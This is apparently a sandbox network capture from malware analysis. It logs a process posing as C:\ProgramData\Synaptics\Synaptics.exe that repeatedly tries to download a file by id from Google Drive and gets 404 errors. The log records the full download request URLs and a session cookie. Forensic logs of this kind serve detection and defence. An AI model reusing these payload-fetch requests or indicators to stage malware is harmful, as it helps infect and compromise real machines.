2025-01-02 19:29:29 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7cfaJleRJ02IgCScZkWI-Ip82OdOXklo3TDf625DZMMF-vqv2vG1DBe6afWSjI0Ewh Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:29 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-v0KfeAktH00tcv8QYrLA2Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:29 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:29:29 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 49 64 31 69 70 49 33 65 34 68 6c 6e 52 52 31 39 73 45 79 74 44 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="Id1ipI3e4hlnRR19sEytDw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:29:29 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.7	50188	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:29 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:29 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:29 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-rUNG0HL2bACTGSe4bA8oKw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.7	50191	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:29 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:29 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7h64zFbAwM5HZ0IbSCWKNCKI7ffN4jEQziI3k0v-EQ7ZH_wtnD9ey_IAb4JOQLsPgho60zqTY Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:29 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-p1ET6guYAgR2PUEOF1BTbA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:29 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:29:29 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6b 70 67 4c 72 31 41 79 74 67 34 61 66 58 4d 35 38 38 61 53 65 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="kpgLr1Aytg4afXM588aSeQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:29:29 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.7	50194	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:30 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:30 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:30 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-zDHMQJLld6BccgSVK7A4hg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.7	50195	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:30 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:30 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6QEl_x6cIAQiflk3hbBgStAf8LLxgU41mnxKblxDAU4l98nrUDceqF3PQN57n1XrfY7ellHxc Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:30 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-tExtbEtSLne7EBV-kWUA0Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:30 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:29:30 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 69 48 55 31 54 32 52 75 4f 5a 46 7a 7a 34 51 62 69 6f 46 49 6b 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="iHU1T2RuOZFzz4QbioFIkQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:29:30 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.7	50200	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:31 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:31 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:31 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-YJ5TLxqdhpegOMDHF41T0A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.7	50203	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:31 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:31 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:31 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-UE9lud4fkbGVWcmAA9ZItA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.7	50202	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:31 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:31 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC50cAT_C5SEFhb5c2BOV8g_VoIWnqdgUhN1eYpmH2PO1BW5lkgYGoG4y1Cl29kXSmCf Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:31 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-gCkx3r1EQbHevbXp739iZQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:31 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:29:31 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 63 73 6b 69 54 53 6f 31 52 56 41 33 50 63 43 57 53 38 6a 62 72 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="cskiTSo1RVA3PcCWS8jbrQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:29:31 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
